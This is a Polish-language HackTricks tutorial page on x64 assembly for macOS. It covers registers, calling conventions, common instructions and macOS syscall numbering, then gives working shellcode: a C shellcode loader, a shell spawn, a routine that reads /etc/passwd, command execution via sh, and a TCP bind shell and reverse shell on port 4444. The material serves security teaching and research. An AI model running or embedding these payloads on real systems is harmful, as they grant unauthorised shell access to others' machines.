hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md
2024-04-06 19:35:05 +00:00

15 KiB

Introduction to x64

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wprowadzenie do x64

x64, znany również jako x86-64, to architektura procesora 64-bitowa, stosowana głównie w komputerach stacjonarnych i serwerach. Wywodząc się z architektury x86 opracowanej przez Intel, a później przyjętej przez AMD pod nazwą AMD64, jest dominującą architekturą w dzisiejszych komputerach osobistych i serwerach.

Rejestry

x64 rozwija architekturę x86, oferując 16 rejestrów ogólnego przeznaczenia oznaczonych jako rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi oraz r8 do r15. Każdy z nich może przechowywać wartość 64-bitową (8 bajtów). Rejestry te posiadają również podrejestry o rozmiarze 32-bitowym, 16-bitowym i 8-bitowym, zapewniające kompatybilność i obsługę określonych zadań.

  1. rax - Tradycyjnie używany do zwracania wartości z funkcji.
  2. rbx - Często używany jako rejestr bazowy do operacji na pamięci.
  3. rcx - Powszechnie używany jako licznik pętli.
  4. rdx - Używany w różnych rolach, w tym do rozszerzonych operacji arytmetycznych.
  5. rbp - Wskaźnik bazowy dla ramki stosu.
  6. rsp - Wskaźnik stosu, śledzący górę stosu.
  7. rsi i rdi - Używane jako indeksy źródła i docelowe w operacjach na łańcuchach/pamięci.
  8. r8 do r15 - Dodatkowe rejestry ogólnego przeznaczenia wprowadzone w x64.

Konwencja wywoływania

Konwencja wywoływania x64 różni się w zależności od systemu operacyjnego. Na przykład:

  • Windows: Pierwsze cztery parametry są przekazywane w rejestrach rcx, rdx, r8 i r9. Kolejne parametry są umieszczane na stosie. Wartość zwracana znajduje się w rejestrze rax.
  • System V (powszechnie stosowany w systemach UNIX-podobnych): Pierwsze sześć parametrów całkowitych lub wskaźników jest przekazywanych w rejestrach rdi, rsi, rdx, rcx, r8 i r9. Wartość zwracana również znajduje się w rejestrze rax.

Jeśli funkcja ma więcej niż sześć parametrów, reszta zostanie przekazana na stos. RSP, wskaźnik stosu, musi być wyrównany do 16 bajtów, co oznacza, że adres, na który wskazuje, musi być podzielny przez 16 przed wykonaniem jakiegokolwiek wywołania. Oznacza to, że normalnie musielibyśmy upewnić się, że RSP jest odpowiednio wyrównany w naszym kodzie shell przed wykonaniem wywołania funkcji. Jednak w praktyce wywołania systemowe często działają nawet jeśli ten wymóg nie jest spełniony.

Konwencja wywoływania w Swift

Swift ma swoją własną konwencję wywoływania, którą można znaleźć pod adresem https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64

Wspólne instrukcje

Instrukcje x64 posiadają bogaty zestaw, zachowując kompatybilność z wcześniejszymi instrukcjami x86 i wprowadzając nowe.

  • mov: Przenosi wartość z jednego rejestru lub lokalizacji pamięci do drugiego.
  • Przykład: mov rax, rbx — Przenosi wartość z rbx do rax.
  • push i pop: Odkłada lub zdejmuje wartości ze stosu.
  • Przykład: push rax — Odkłada wartość z rax na stos.
  • Przykład: pop rax — Zdejmuje wartość ze szczytu stosu do rax.
  • add i sub: Operacje dodawania i odejmowania.
  • Przykład: add rax, rcx — Dodaje wartości w rax i rcx, przechowując wynik w rax.
  • mul i div: Operacje mnożenia i dzielenia. Uwaga: mają one określone zachowanie w odniesieniu do użycia operandów.
  • call i ret: Służą do wywoływania i powrotu z funkcji.
  • int: Służy do wywołania oprogramowania przerwania. Na przykład int 0x80 było używane do wywoływania systemu w 32-bitowym x86 Linux.
  • cmp: Porównuje dwie wartości i ustawia flagi CPU na podstawie wyniku.
  • Przykład: cmp rax, rdx — Porównuje rax z rdx.
  • je, jne, jl, jge, ...: Instrukcje skoku warunkowego, które zmieniają przepływ sterowania na podstawie wyników wcześniejszego cmp lub testu.
  • Przykład: Po instrukcji cmp rax, rdx, je label — Skacze do label, jeśli rax jest równy rdx.
  • syscall: Używane do wywołań systemowych w niektórych systemach x64 (np. nowoczesne Unixy).
  • sysenter: Zoptymalizowana instrukcja wywołania systemowego na niektórych platformach.

Prolog funkcji

  1. Odkładanie starego wskaźnika bazowego: push rbp (zapisuje wskaźnik bazowy wywołującego)
  2. Przenoszenie bieżącego wskaźnika stosu do wskaźnika bazowego: mov rbp, rsp (ustawia nowy wskaźnik bazowy dla bieżącej funkcji)
  3. Alokowanie miejsca na stosie dla zmiennych lokalnych: sub rsp, <rozmiar> (gdzie <rozmiar> to liczba bajtów potrzebna)

Epilog funkcji

  1. Przenoszenie bieżącego wskaźnika bazowego do wskaźnika stosu: mov rsp, rbp (dezalokuje zmienne lokalne)
  2. Zdejmowanie starego wskaźnika bazowego ze stosu: `pop rbp

macOS

syscalle

Istnieją różne klasy syscalle, możesz je znaleźć tutaj:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

Następnie, możesz znaleźć numer każdego wywołania systemowego w tym adresie URL:

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

Aby wywołać open syscall (5) z klasy Unix/BSD, musisz dodać: 0x2000000

Więc numer syscalla do wywołania open to 0x2000005

Shellkody

Aby skompilować:

{% code overflow="wrap" %}

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

{% endcode %}

Aby wyodrębnić bajty:

{% code overflow="wrap" %}

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'

{% endcode %}

Kod C do testowania shellcode'u

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Powłoka

Pobrane z [**tutaj**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) i wyjaśnione.

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='z adr'></div>

```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

Odczytaj za pomocą polecenia cat

Celem jest wykonanie polecenia execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), więc drugi argument (x1) jest tablicą parametrów (które w pamięci oznaczają stos adresów).

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

Wywołaj polecenie za pomocą sh

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Powłoka bind

Powłoka bind ze strony https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html na porcie 4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

Odwrócony Shell

Odwrócony shell dostępny pod adresem https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Odwrócony shell do 127.0.0.1:4444.

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall